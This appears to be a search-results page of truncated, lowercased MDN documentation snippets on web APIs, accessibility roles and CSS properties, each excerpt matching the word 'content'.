content is currently processing a user gesture such as a tap or click — so this code needs to be run inside some kind of user gesture-based event handler, for example: btn.addeventlistener('click', () => { // run code here }); ...
Text.splitText() - Web APIs
after the split, the current node contains all the
content up to the specified offset point, and a newly created node of the same type contains the remaining text.
... html <p>foobar</p> javascript const p = document.queryselector('p'); // get
contents of <p> as a text node const foobar = p.firstchild; // split 'foobar' into two text nodes, 'foo' and 'bar', // and save 'bar' as a const const bar = foobar.splittext(3); // create a <u> element containing ' new
content ' const u = document.createelement('u'); u.appendchild(document.createtextnode(' new
content ')); // add <u> before 'bar' p.insertbefore(u, bar); // the result is: <p>foo<u> ne...
...w
content </u>bar</p> result specifications specification status comment domthe definition of 'text.splittext' in that specification.
Text.wholeText - Web APIs
that’s where wholetext comes in: if you have multiple adjacent text nodes, you can access the
contents of all of them using wholetext.
...what we have now is this: <p>thru-hiking is great, but <a href="http://en.wikipedia.org/wiki/absentee_ballot">casting a ballot</a> is tricky.</p> some uses of the whole-text functionality may be better served by using node.text
content, or the longstanding element.innerhtml; that’s fine and probably clearer in most circumstances.
... if you have to work with mixed
content within an element, as seen here, wholetext and replacewholetext() may be useful.
Getting started with WebGL - Web APIs
next » webgl enables web
content to use an api based on opengl es 2.0 to perform 2d and 3d rendering in an html canvas in browsers that support it without the use of plug-ins.
...its purpose is to set up the webgl context and start rendering
content.
... at this point, you have enough code that the webgl context should successfully initialize, and you should wind up with a big black, empty box, ready and waiting to receive
content.
Using textures in WebGL - Web APIs
note: it's important to note that the loading of textures follows cross-domain rules; that is, you can only load textures from sites for which your
content has cors approval.
...when the image has finished downloading // we'll update the texture with the
contents of the image.
...in order for your
content to load a texture from another domain, cors approval needs to be be obtained.
WebGL tutorial - Web APIs
webgl enables web
content to use an api based on opengl es 2.0 to perform 3d rendering in an html <canvas> in browsers that support it without the use of plug-ins.
...the examples provided should give you some clear ideas what you can do with webgl and will provide code snippets that may get you started in building your own
content.
... adding 2d
content to a webgl context how to render simple flat shapes using webgl.
WebGL model view projection - Web APIs
note: this article is also available as an mdn
content kit.
...this is the region of space whose
contents are visible to the user at the current time.
... it's the 3d region of space defined by the field of view and the distances specified as the nearest and farthest
content that should be rendered.
Taking still photos with WebRTC - Web APIs
ike this: function takepicture() { var context = canvas.getcontext('2d'); if (width && height) { canvas.width = width; canvas.height = height; context.drawimage(video, 0, 0, width, height); var data = canvas.todataurl('image/png'); photo.setattribute('src', data); } else { clearphoto(); } } as is the case any time we need to work with the
contents of a canvas, we start by getting the 2d drawing context for the hidden canvas.
... note: this takes advantage of the fact that the htmlvideoelement interface looks like an htmlimageelement to any api that accepts an htmlimageelement as a parameter, with the video's current frame presented as the image's
contents.
... if there isn't a valid image available (that is, the width and height are both 0), we clear the
contents of the captured frame box by calling clearphoto().
Writing WebSocket client applications - Web APIs
there are assorted types of data packets the client might receive, such as: login handshake message text user list updates the code that interprets these incoming messages might look like this: examplesocket.onmessage = function(event) { var f = document.getelementbyid("chatbox").
contentdocument; var text = ""; var msg = json.parse(event.data); var time = new date(msg.date); var timestr = time.tolocaletimestring(); switch(msg.type) { case "id": clientid = msg.id; setusername(); break; case "username": text = "<b>user <em>" + msg.name + "</em> signed in at " + timestr + "</b><br>"; break; case "message": text = "(" + times...
... username has been set to <em>" + msg.name + "</em> because the name you chose is in use.</b><br>" break; case "userlist": var ul = ""; for (i=0; i < msg.users.length; i++) { ul += msg.users[i] + "<br>"; } document.getelementbyid("userlistbox").innerhtml = ul; break; } if (text.length) { f.write(text); document.getelementbyid("chatbox").
contentwindow.scrollbypages(1); } }; here we use json.parse() to convert the json object back into the original object, then examine and act upon its
contents.
... security considerations websockets should not be used in a mixed
content environment; that is, you shouldn't open a non-secure websocket connection from a page loaded using https or vice-versa.
Fundamentals of WebXR - Web APIs
what webxr is and isn't webxr is an api for web
content and apps to use to interface with mixed reality hardware such as vr headsets and glasses with integrated augmented reality features.
... there are two basic types of ar device: devices which use cameras to capture the world in front of the user, render the webxr
content atop that image, then display the image on a screen.
... if you have any
content that may be of risk to any users, you should provide a warning message.
Lighting a WebXR setting - Web APIs
lighting issues for mixed reality
content in addition to the usual issues that you need to contend with while lighting a scene, the vr or ar use case adds additional areas of concern when writing your shaders.
... if two or more devices access
content that uses the same third-party script, that script can be used to correlate lighting information and how it changes over time to attempt to determine a spatial relationship between the devices; this could in theory indicate that the devices are in the same general area, for example.
... another scenario in which lighting estimation can be used to obtain information about the user without permission: if the light sensor is close enough to the user's display to detect lighting changes caused by the
contents of the display, an algorithm could be used to determine whether or not the user is watching a particular video—or even to potentially identify which of a number of videos the user is watching.
Controlling multiple parameters with ConstantSourceNode - Web APIs
html the html
content for this example is primarily a button to toggle the oscillator tones on and off and an <input> element of type range to control the volume of two of the three oscillators.
... function toggleplay(event) { if (playing) { playbutton.innerhtml = "▶️"; stoposcillators(); } else { playbutton.innerhtml = "⏸"; startoscillators(); } } if the playing variable indicates we're already playing the oscillators, we change the playbutton's
content to be the unicode character "right-pointing triangle" (▶️) and call stoposcillators() to shut down the oscillators.
... if playing is false, indicating that we're currently paused, we change the play button's
content to be the unicode character "pause symbol" (⏸) and call startoscillators() to start the oscillators playing their tones.
Window.getComputedStyle() - Web APIs
examples in this example we style a <p> element, then retrieve those styles using getcomputedstyle(), and print them into the text
content of the <p>.
... html <p>hello</p> css p { width: 400px; margin: 0 auto; padding: 20px; font: 2rem/2 sans-serif; text-align: center; background: purple; color: white; } javascript let para = document.queryselector('p'); let compstyles = window.getcomputedstyle(para); para.text
content = 'my computed font-size is ' + compstyles.getpropertyvalue('font-size') + ',\nand my computed line-height is ' + compstyles.getpropertyvalue('line-height') + '.'; result description the returned object is the same cssstyledeclaration type as the object returned from the element's style property.
... <style> h3::after {
content: ' rocks!'; } </style> <h3>generated
content</h3> <script> var h3 = document.queryselector('h3'); var result = getcomputedstyle(h3, ':after').
content; console.log('the generated
content is: ', result); // returns ' rocks!' </script> notes the returned cssstyledeclaration object contains active values for css property longhand names.
Window: load event - Web APIs
this is in contrast to dom
contentloaded, which is fired as soon as the page dom has been loaded, without waiting for resources to finish loading.
...ventlistener('load', (event) => { console.log('page is fully loaded'); }); the same, but using the onload event handler property: window.onload = (event) => { console.log('page is fully loaded'); }; live example html <div class="controls"> <button id="reload" type="button">reload</button> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-
contents" rows="8" cols="30"></textarea> </div> css body { display: grid; grid-template-areas: "control log"; } .controls { grid-area: control; display: flex; align-items: center; justify-
content: center; } .event-log { grid-area: log; } .event-log-
contents { resize: none; } label, button { display: block; } #reload { height: 2rem; } js const log = document.queryselector(...
...'.event-log-
contents'); const reload = document.queryselector('#reload'); reload.addeventlistener('click', () => { log.text
content =''; window.settimeout(() => { window.location.reload(true); }, 200); }); window.addeventlistener('load', (event) => { log.text
content = log.text
content + 'load\n'; }); document.addeventlistener('readystatechange', (event) => { log.text
content = log.text
content + `readystate: ${document.readystate}\n`; }); document.addeventlistener('dom
contentloaded', (event) => { log.text
content = log.text
content + `dom
contentloaded\n`; }); result specifications specification status comment ui eventsthe definition of 'load' in that specification.
Window: popstate event - Web APIs
these methods and their corresponding events can be used to add data to the history stack which can be used to reconstruct a dynamically generated page, or to otherwise alter the state of the
content being presented while remaining on the same document.
... if new-entry doesn't currently contain an existing document, fetch the
content and create its document before continuing.
... this will eventually send events such as dom
contentloaded and load to the window containing the document, but the steps below will continue to execute in the meantime.
WindowOrWorkerGlobalScope.fetch() - Web APIs
the fetch() method is controlled by the connect-src directive of
content security policy rather than the directive of the resources it's retrieving.
...); } return response.blob(); }) .then(function(response) { let objecturl = url.createobjecturl(response); myimage.src = objecturl; }); in the fetch with init then request example (see fetch request init live), we do the same thing except that we pass in an init object when we invoke fetch(): const myimage = document.queryselector('img'); let myheaders = new headers(); myheaders.append('
content-type', 'image/jpeg'); const myinit = { method: 'get', headers: myheaders, mode: 'cors', cache: 'default' }; let myrequest = new request('flowers.jpg'); fetch(myrequest, myinit).then(function(response) { // ...
... const myinit = { method: 'get', headers: { '
content-type': 'image/jpeg' }, mode: 'cors', cache: 'default' }; let myrequest = new request('flowers.jpg', myinit); specifications specification status comment fetchthe definition of 'fetch()' in that specification.
WritableStream.WritableStream() - Web APIs
the
contents of this method are defined by the developer, and should aim to get access to the underlying sink.
...the
contents should do whatever is necessary to finalize writes to the underlying sink, and release access to it.
...hwatermark: 1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var view = new uint16array(buffer); view[0] = chunk; var decoded = decoder.decode(view, { stream: true }); var listitem = document.createelement('li'); listitem.text
content = "chunk decoded: " + decoded; list.appendchild(listitem); result += decoded; resolve(); }); }, close() { var listitem = document.createelement('li'); listitem.text
content = "[message received] " + result; list.appendchild(listitem); }, abort(err) { console.log("sink error:", err); } }, queuingstrategy); sendmessage("hello, world.", writablestream)...
XMLHttpRequest.getResponseHeader() - Web APIs
example in this example, a request is created and sent, and a readystatechange handler is established to look for the readystate to indicate that the headers have been received; when that is the case, the value of the
content-type header is fetched.
... if the
content-type isn't the desired value, the xmlhttprequest is canceled by calling abort().
... var client = new xmlhttprequest(); client.open("get", "unicorns-are-teh-awesome.txt", true); client.send(); client.onreadystatechange = function() { if(this.readystate == this.headers_received) { var
contenttype = client.getresponseheader("
content-type"); if (
contenttype != my_expected_type) { client.abort(); } } } specifications specification status comment xmlhttprequestthe definition of 'getresponseheader()' in that specification.
XMLHttpRequest.responseText - Web APIs
while handling an asynchronous request, the value of responsetext always has the current
content received from the server, even if it's incomplete because the data has not been completely received yet.
... you know the entire
content has been received when the value of readystate becomes xmlhttprequest.done (4), and status becomes 200 ("ok").
...since the responsetext property is only valid for text
content, any other value is an error condition.
Using the aria-hidden attribute - Accessibility
the aria-hidden attribute can either expose or hide non-interactive
content from the accessibility api.
...this can improve the experience for assistive technology users by hiding: purely decorative
content, such as icons or images duplicated
content, such as repeated text offscreen or collapsed
content, such as menus according to the fourth rule of aria, aria-hidden="true" should not be used on a focusable element.
... deciding between aria-hidden="true", role="presentation", and role="none" on the surface, the aria-hidden="true", role="presentation", and role="none" attributes seem similar because they: hide
content from assistive technology cannot be used on a focusable element cannot be used on the parent of an interactive element despite these similarities, the intent behind each attribute is different.
Using the status role - Accessibility
the status role is a type of live region and a container whose
content is advisory information for the user that is not important enough to justify an alert, and is often presented as a status bar.
... status information
content must be provided within a status object, and it should be ensured that this object does not receive focus.
... assistive technology products should listen for such an event and notify the user accordingly: screen readers may provide a special key to announce the current status, and this should present the
contents of any status live region.
ARIA: banner role - Accessibility
a banner role represents general and informative
content frequently placed at the beginning of the page.
...it should be reserved for the site header
content that is common across the site generally at the top of every page.
... <div role="banner"> <a href="#nav" id="skiptomenu" class="skipto
content">skip to keyboard navigation</a> <img src="images/w3c.png" alt="w3c logo"> <h1>aria landmarks</h1> <p>identifying page subsections for easy navigation</p> </div> we could also have written the above with the html header element: <header> <a href="#nav" id="skiptomenu" class="skipto
content">skip to keyboard navigation</a> <img src="images/w3c.png" alt="w3c logo"> <h1>aria landmarks</...
ARIA: document role - Accessibility
generally used in complex composite widgets or applications, the document role can inform assistive technologies to switch context to a reading mode: the document role tells assistive technologies with reading or browse modes to use the document mode to read the
content contained within this element.
...this way, the user can tab to it, reading mode is invoked automatically, and the
content can be read right away.
... added benefits the document role is an easy way to indirectly control assistive technology behavior by unambiguously stating that this is
content the user should read with standard screen reader commands.
Mobile accessibility checklist - Accessibility
colour colour contrast must comply with wcag 2.1 aa level requirements: contrast ratio of 4.5:1 for normal text (less than 18 point or 14 point bold.) contrast ratio of 3:1 for large text (at least 18 point or 14 point bold.) information conveyed via colour must be also available by other means too (underlined text for links, etc.) visibility
content hiding techniques such as zero opacity, z-index order and off-screen placement must not be used exclusively to handle visibility.
... orientation
content should not be restricted to a single orientation, such as portrait or landscape, unless essential.
... headings must not break hierarchical structure <h1>top level heading</h1> <h2>secondary heading</h2> <h2>another secondary heading</h2> <h3>low level heading</h3> aria landmark roles should be used to describe an app or document structure, such as banner, complementary,
contentinfo, main, navigation, search.
::first-letter (:first-letter) - CSS: Cascading Style Sheets
the ::first-letter css pseudo-element applies styles to the first letter of the first line of a block-level element, but only when not preceded by other
content (such as images or inline tables).
...(this is poorly supported by browsers; see the browser compatibility table below.) a combination of the ::before pseudo-element and the
content property may inject some text at the beginning of the element.
... in that case, ::first-letter will match the first letter of this generated
content.
:read-write - CSS: Cascading Style Sheets
hite; } textarea:-moz-read-write, textarea:read-write { box-shadow: inset 1px 1px 3px #ccc; border-radius: 5px; } you can find the full source code at readonly-confirmation.html; this renders like so: styling read-write non-form controls this selector doesn't just select <input>/<textarea> elements — it will select any element that can be edited by the user, such as a <p> element with
contenteditable set on it.
... <p
contenteditable>this paragraph is editable; it is read-write.</p> <p>this paragraph is not editable; it is read-only.</p> p { font-size: 150%; padding: 5px; border-radius: 5px; } p:read-only { background-color: red; color: white; } p:read-write { background-color: lime; } specifications specification status comment html living standardthe definition of ':read-write' in that specification.
... see also :read-only html
contenteditable attribute ...
overflow-inline - CSS: Cascading Style Sheets
the overflow-inline css media feature can be used to test how the output device handles
content that overflows the initial containing block along the inline axis.
... none
content that overflows the inline axis is not displayed.
... scroll
content that overflows the inline axis can be seen by scrolling to it.
CSS Animations tips and tricks - CSS: Cascading Style Sheets
html
content first, let's define the html for a <div> we wish to animate and a button that will play (or replay) the animation.
... <div class="box"> </div> <div class="runbutton">click me to run the animation</div> css
content now we'll define the animation itself using css.
... javascript
content next we'll look at the javascript that does the work.
Handling Overflow in Multicol - CSS: Cascading Style Sheets
in this guide we look at how multicol deals with overflow, both inside the column boxes and in situations where there is more
content than will fit into the container.
... in this situation, the
content should visibly overflow into the next column, rather than be clipped by the column box.
... in the final guide in this series we will see how multicol works with the fragmentation spec to give us control over how
content breaks between columns.
Mastering Wrapping of Flex Items - CSS: Cascading Style Sheets
flex line wrapping is re-done after collapsing, however, so the cross-size of a flex container with multiple lines might or might not change.” - collapsed items this behaviour is useful if you want to target flex items using javascript to show and hide
content for example.
...the third item has more
content than the others yet is set to visibility: collapse and therefore the flex container is retaining a strut of the height required to display this item.
...if you add more
content to the second item, it changes row once it gets long enough.
CSS Flexible Box Layout - CSS: Cascading Style Sheets
the value of justify-
content has been set to space-between in order to space the items out evenly on the main axis.
... reference css properties flex flex-basis flex-direction flex-flow flex-grow flex-shrink flex-wrap order alignment properties the properties align-
content, align-self, align-items and justify-
content initially appeared in the flexbox specification, but are now defined in box alignment.
... justify-
content align-
content align-items align-self place-
content place-items row-gap column-gap gap glossary entries flexbox flex container flex item main axis cross axis flex guides basic concepts of flexbox an overview of the features of flexbox relationship of flexbox to other layout methods how flexbox relates to other layout methods, and other css specifications aligning items in a flex container how the box alignment properties work with flexbox.
CSS Overflow - CSS: Cascading Style Sheets
in css overflow happens when the
content of a box extends past one or more of the box's edges.
...this is the
content appearing outside of the box for which scrolling mechanisms need to be provided.
... the overflow properties are how we can control what happens when
content overflows a box.
Layout and the containing block - CSS: Cascading Style Sheets
most often, the containing block is the
content area of an element's nearest block-level ancestor, but this is not always the case.
...each box is divided into four areas:
content area padding area border area margin area many developers believe that the containing block of an element is always the
content area of its parent, but that isn't necessarily true.
... identifying the containing block the process for identifying the containing block depends entirely on the value of the element's position property: if the position property is static, relative, or sticky, the containing block is formed by the edge of the
content box of the nearest ancestor element that is either a block container (such as an inline-block, block, or list-item element) or establishes a formatting context (such as a table container, flex container, grid container, or the block container itself).
Breadcrumb Navigation - CSS: Cascading Style Sheets
recipe download this example note: the example above uses two selectors to insert
content before every li except the first one.
... this could also be achieved using one selector only: .breadcrumb li:not(:first-child)::before {
content: "→"; } this solution uses a more complex selector, but requires less rules.
...the separators are added using css generated
content.
Mozilla CSS extensions - CSS: Cascading Style Sheets
oz-telugu -moz-thai -moz-trad-chinese-formal -moz-trad-chinese-informal -moz-urdu overflow -moz-scrollbars-none -moz-scrollbars-horizontal -moz-scrollbars-vertical -moz-hidden-unscrollable text-align -moz-center -moz-left -moz-right text-decoration -moz-anchor-decoration -moz-user-select -moz-all -moz-none width, min-width, and max-width -moz-min-
content -moz-fit-
content -moz-max-
content -moz-available pseudo-elements and pseudo-classes a – d ::-moz-anonymous-block eg@:- bug 331432 ::-moz-anonymous-positioned-block :-moz-any :-moz-any-link [matches :link and :visited] :-moz-broken ::-moz-canvas ::-moz-color-swatch ::-moz-cell-
content :-moz-drag-over f – i :-moz-first-node ::-moz-focus-inner ::-moz-focus-ou...
...-handler-blocked :-moz-handler-crashed :-moz-handler-disabled ::-moz-inline-table l :-moz-last-node :-moz-list-bullet :-moz-list-number :-moz-loading :-moz-locale-dir(ltr) :-moz-locale-dir(rtl) :-moz-lwtheme :-moz-lwtheme-brighttext :-moz-lwtheme-darktext n – r :-moz-native-anonymous :-moz-only-whitespace ::-moz-page ::-moz-page-sequence ::-moz-pagebreak ::-moz-page
content :-moz-placeholderobsolete since gecko 51 ::-moz-placeholderdeprecated since gecko 51 ::-moz-progress-bar ::-moz-range-progress ::-moz-range-thumb ::-moz-range-track :-moz-read-only :-moz-read-write s ::-moz-scrolled-canvas ::-moz-scrolled-
content ::-moz-scrolled-page-sequence ::-moz-selectiondeprecated since gecko 62 :-moz-submit-invalid :-moz-suppressed ::-moz-svg-foreign-co...
...-classic -moz-device-pixel-ratio -moz-os-version -moz-scrollbar-end-backward -moz-scrollbar-end-forward -moz-scrollbar-start-backward -moz-scrollbar-start-forward -moz-scrollbar-thumb-proportional -moz-touch-enabled -moz-windows-accent-color-in-titlebar -moz-windows-classic -moz-windows-compositor -moz-windows-default-theme -moz-windows-glass -moz-windows-theme other -moz-alt-
content (see bug 11011) ...
Syntax - CSS: Cascading Style Sheets
note: the
content of a css declaration block, that is a list of semi-colon-separated declarations, without the initial and closing braces, can be put inside an html style attribute.
...these statements only apply if a specific condition is matched: the @media at-rule
content is applied only if the device on which the browser runs matches the expressed condition; the @document at-rule
content is applied only if the current page matches some conditions, and so on.
...now, though still experimental and not supported by every browser, conditional group rules can contain a wider range of
content: rulesets but also some, but not all, at-rules.
attr() - CSS: Cascading Style Sheets
note: the attr() function can be used with any css property, but support for properties other than
content is experimental, and support for the type-or-unit parameter is sparse.
...)where <type-or-unit> = string | color | url | integer | number | length | angle | time | frequency | cap | ch | em | ex | ic | lh | rlh | rem | vb | vi | vw | vh | vmin | vmax | mm | q | cm | in | pt | pc | px | deg | grad | rad | turn | ms | s | hz | khz | % examples
content property html <p data-foo="hello">world</p> css [data-foo]::before {
content: attr(data-foo) " "; } result <color> value html <div class="background" data-background="lime">background expected to be red if your browser does not support advanced usage of attr()</div> css .background { height: 100vh; } .background { background-color: red; } .background[data-background] { ...
... recommendation limited to the
content property; always returns a <string>.
background-attachment - CSS: Cascading Style Sheets
(this is not compatible with background-clip: text.) local the background is fixed relative to the element's
contents.
... if the element has a scrolling mechanism, the background scrolls with the element's
contents, and the background painting area and background positioning area are relative to the scrollable area of the element rather than to the border framing them.
... scroll the background is fixed relative to the element itself and does not scroll with its
contents.
background-origin - CSS: Cascading Style Sheets
syntax /* keyword values */ background-origin: border-box; background-origin: padding-box; background-origin:
content-box; /* global values */ background-origin: inherit; background-origin: initial; background-origin: unset; the background-origin property is specified as one of the keyword values listed below.
...
content-box the background is positioned relative to the
content box.
...it also applies to ::first-letter and ::first-line.inheritednocomputed valueas specifiedanimation typediscrete formal syntax <box>#where <box> = border-box | padding-box |
content-box examples setting background origins .example { border: 10px double; padding: 10px; background: url('image.jpg'); background-position: center left; background-origin:
content-box; } #example2 { border: 4px solid black; padding: 10px; background: url('image.gif'); background-repeat: no-repeat; background-origin: border-box; } div { background-image: url('logo.jpg'), url('mainback.png'); /* applies two images to the background */ background-position: top right, 0px 0px; background-origin:
content-box, padding-box; }...
border-image-slice - CSS: Cascading Style Sheets
however, we have also provided two sliders to allow you to dynamically change the values of the above two properties, allowing you to appreciate the effect they have: border-image-slice changes the size of the image slice sampled for use in each border and border corner (and the
content area, if the fill keyword is used) — varying this away from 30 causes the border to look somewhat irregular, but can have some interesting effects.
...ge" min="10" max="45" id="slice"> <output id="slice-output">30</output> </li> </ul> css .wrapper { width: 400px; height: 300px; } div > div { width: 300px; height: 200px; border-width: 30px; border-style: solid; border-image: url(https://udn.realityripple.com/samples/56/bb98f533ef.png); border-image-slice: 30; border-image-repeat: round; } li { display: flex; place-
content: center; } javascript const widthslider = document.getelementbyid('width'); const sliceslider = document.getelementbyid('slice'); const widthoutput = document.getelementbyid('width-output'); const sliceoutput = document.getelementbyid('slice-output'); const divelem = document.queryselector('div > div'); widthslider.addeventlistener('input', () => { const newvalue = widthslider.value + 'px'; ...
... divelem.style.borderwidth = newvalue; widthoutput.text
content = newvalue; }) sliceslider.addeventlistener('input', () => { const newvalue = sliceslider.value; divelem.style.borderimageslice = newvalue; sliceoutput.text
content = newvalue; }) result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-image-slice' in that specification.
box-direction - CSS: Cascading Style Sheets
the box-direction css property specifies whether a box lays out its
contents normally (from the top or left edge), or in reverse (from the bottom or right edge).
... values normal the box lays out its
contents from the start (the left or top edge).
... reverse the box lays out its
contents from the end (the right or bottom edge).
box-shadow - CSS: Cascading Style Sheets
values inset if not specified (default), the shadow is assumed to be a drop shadow (as if the box were raised above the
content).
... the presence of the inset keyword changes the shadow to one inside the frame (as if the
content was depressed inside the box).
... inset shadows are drawn inside the border (even transparent ones), above the background, but below
content.
caret-color - CSS: Cascading Style Sheets
the caret appears in elements such as <input> or those with the
contenteditable attribute.
...this is generally currentcolor, but the user agent may choose a different color to ensure good visibility and contrast with the surrounding
content, taking into account the value of currentcolor, the background, shadows, and other factors.
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples setting a custom caret color html <input value="this field uses a default caret." size="64"/> <input class="custom" value="i have a custom caret color!" size="64"/> <p
contenteditable class="custom">this paragraph can be edited, and its caret has a custom color as well!</p> css input { caret-color: auto; display: block; margin-bottom: .5em; } input.custom { caret-color: red; } p.custom { caret-color: green; } result specifications specification status comment css basic user interface module level 3the definition of 'ca...
column-gap (grid-column-gap) - CSS: Cascading Style Sheets
formal definition initial valuenormalapplies tomulti-column elements, flex containers, grid containersinheritednopercentagesrefer to corresponding dimension of the
content areacomputed valueas specified, with <length>s made absolute, and normal computing to zero except on multi-column elementsanimation typea length, percentage or calc(); formal syntax normal | <length-percentage>where <length-percentage> = <length> | <percentage> examples flex layout html <div id="flexbox"> <div></div> <div></div> <div></div> </div> css #flexbox { display: flex; ...
...uto; } result grid layout html <div id="grid"> <div></div> <div></div> <div></div> </div> css #grid { grid-column-gap: 20px; } #grid { display: grid; height: 100px; grid-template-columns: repeat(3, 1fr); grid-template-rows: 100px; column-gap: 20px; } #grid > div { border: 1px solid green; background-color: lime; } result multi-column layout html <p class="
content-box"> this is some multi-column text with a 40px column gap created with the css `column-gap` property.
...</p> css .
content-box { column-count: 3; column-gap: 40px; } result specifications specification status comment css box alignment module level 3the definition of 'column-gap' in that specification.
column-width - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toblock containers except table wrapper boxesinheritednocomputed valuethe absolute length, zero or largeranimation typea length formal syntax <length> | auto examples setting column width in pixels html <p class="
content-box"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
...</p> css .
content-box { column-width: 100px; } result specifications specification status comment css writing modes level 4the definition of 'column-width' in that specification.
... candidate recommendation adds intrinsic sizes via the keywords min-
content, max-
content, fill-available, and fit-
content.
<display-legacy> - CSS: Cascading Style Sheets
syntax valid <display-legacy> values: inline-block the element generates a block element box that will be flowed with surrounding
content as if it were a single inline box (behaving much like a replaced element would).
... inline-flex the element behaves like an inline element and lays out its
content according to the flexbox model.
... inline-grid the element behaves like an inline element and lays out its
content according to the grid model.
scroll-margin - CSS: Cascading Style Sheets
description you can see the effect of scroll-margin by scrolling to a point partway between two of the "pages" of the example's
content.
...the outer container is styled like this: .scroller { text-align: left; width: 250px; height: 250px; overflow-x: scroll; display: flex; box-sizing: border-box; border: 1px solid #000; scroll-snap-type: x mandatory; } the main parts relevant to the scroll snapping are overflow-x: scroll, which makes sure the
contents will scroll and not be hidden, and scroll-snap-type: x mandatory, which dictates that scroll snapping must occur along the horizontal axis, and the scrolling will always come to rest on a snap point.
... the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-
content: center; scroll-snap-align: start; } .scroller > div:nth-child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: start, which specifies that the left-hand edges (the "starts" along the x axis, in our case) are the designated snap points.
scroll-snap-type - CSS: Cascading Style Sheets
if
content is added, moved, deleted or resized the scroll offset will be adjusted to maintain the resting on that snap point.
...if
content is added, moved, deleted or resized the scroll offset may be adjusted to maintain the resting on that snap point.
...rtl</div> <div>2</div> <div>3</div> <div>4</div> <div>5</div> </div> </div> css /* setup */ html, body, .holster { height: 100%; } .holster { display: flex; align-items: center; justify-
content: space-between; flex-flow: column nowrap; font-family: monospace; } .container { display: flex; overflow: auto; outline: 1px dashed lightgray; flex: none; } .container.x { width: 100%; height: 128px; flex-flow: row nowrap; } .container.y { width: 256px; height: 256px; flex-flow: column nowrap; } /* scroll-snap */ .x.mandatory-scroll-snapping { scroll-snap-type: x mand...
scrollbar-width - CSS: Cascading Style Sheets
accessibility concerns use this property with caution — setting scrollbar-width to thin or none can make
content hard or impossible to scroll if the author does not provide an alternative scrolling mechanism.
... while swiping gestures or mouse wheels can enable scrolling on such
content, some devices have no scroll alternative.
... wcag criterion 2.1.1 (keyboard) has been in place for a long time to advise on basic keyboard accessibility, and this should include scrolling of
content areas.
text-decoration-skip - CSS: Cascading Style Sheets
the text-decoration-skip css property sets what parts of an element’s
content any text decoration affecting the element must skip over.
...thus, text decoration is drawn for all text
content and across atomic inline-level boxes.
... edges the start and end of the text decoration is inset slightly (e.g., by half of the line thickness) from the
content edge of the decorating box.
transform-box - CSS: Cascading Style Sheets
/* keyword values */ transform-box:
content-box; transform-box: border-box; transform-box: fill-box; transform-box: stroke-box; transform-box: view-box; /* global values */ transform-box: inherit; transform-box: initial; transform-box: unset; syntax the transform-box property is specified as one of the keyword values listed below.
... values
content-box the
content box is used as the reference box.
... formal definition initial valueview-boxapplies totransformable elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax
content-box | border-box | fill-box | stroke-box | view-box examples svg transform-origin scoping in this example we have an svg: <svg id="svg" xmlns="http://www.w3.org/2000/svg" viewbox="0 0 50 50"> <g> <circle id="center" fill="red" r="1" transform="translate(25 25)" /> <circle id="boxcenter" fill="blue" r=".5" transform="translate(15 15)" /> <rect id="box" x="10" y="10" width="10" he...
unicode-bidi - CSS: Cascading Style Sheets
for example, if a block of
content contains both left-to-right and right-to-left text, the user-agent uses a complex unicode algorithm to decide how to display the text.
... isolate this keyword indicates that the element's container directionality should be calculated without considering the
content of this element.
... isolate-override this keyword applies the isolation behavior of the isolate keyword to the surrounding
content and the override behavior of the bidi-override keyword to the inner
content.
CSS: Cascading Style Sheets
css first steps css (cascading style sheets) is used to style and layout web pages — for example, to alter the font, color, size, and spacing of your
content, split it into multiple columns, or add animations and other decorative features.
... css layout at this point we've already looked at css fundamentals, how to style text, and how to style and manipulate the boxes that your
content sits inside.
... use css to solve common problems this module provides links to sections of
content explaining how to use css to solve common problems when creating a web page.
Setting up adaptive streaming media sources - Developer guides
mpeg-dash encoding mpeg-dash is an adaptive bitrate streaming technique that enables streaming of media
content over the internet delivered from conventional http web servers.
... other reasons to use live profile over ondemand for vod
content may be: your client or server does not support range requests your server cannot cache range requests efficiently your server cannot prefetch range requests efficiently the sidx* is large and having to load it first slows down startup a little you want to use the original files for both dash and other forms of delivery (such as microsoft smooth streaming) as a transition strategy you can ...
... http live streaming overview mpeg-dash overview and references dynamic adaptive streaming over http dataset mpeg-dash and streaming reference and resources (msdn) dash adaptive streaming for html 5 video dynamic adaptive streaming over http: from
content creation to consumption mpeg-dash tools dashencoder mp4box dash.js wiki dash.js google group akamai dash diagnostic player adaptive streaming examples itec – dynamic adaptive streaming over http mpeg dash media source demo ...
Challenge solutions - Developer guides
solution the following values are reasonable approximations of the named colors: strong { color: #f00; /* red */ background-color: #ddf; /* pale blue */ font: 200% serif; } .carrot { color: #fa0; /* orange */ } .spinach { color: #080; /* dark green */ } p { color: #00f; /* blue */ }
content add an image challenge add a one rule to your stylesheet so that it displays the image at the start of each line.
... solution add this rule to your stylesheet: p:before{
content: url("yellow-pin.png"); } lists lower roman numerals challenge add a rule to your stylesheet, to number the oceans using roman numerals from i to v.
... solution add a rule to the body element (parent of the headings) to reset a new counter, and one to display and increment the counter on the headings: /* numbered headings */ body {counter-reset: headnum;} h3:before {
content: "(" counter(headnum, upper-latin) ") "; counter-increment: headnum; } boxes ocean border challenge add one rule to your stylesheet, making a wide border all around the oceans in a color that reminds you of the sea.
Event developer guide - Developer guides
the user interaction with the web page
contents can trigger events.
... the modification of the web page in structure or
content might trigger some events, as explained in the mutation events page, but the use of these events has been deprecated in favour of the lighter mutation observer approach.
...this article provides details about the coordinate systems at play and how you use them.overview of events and handlersevents and event handling provide a core technique in javascript for reacting to incidents occurring when a browser accesses a web page, including events from preparing a web page for display, from interacting with the
content of the web page, relating to the device on which the browser is running, and from many other causes such as media stream playback or animation timing.touch events (mozilla experimental)the experimental touch events api described on this page was available from gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) to gecko/firefox 17.
XHTML - Developer guides
the following example shows an html document and corresponding "xhtml" document, and the accompanying http
content-type headers they should be served with.
... html document
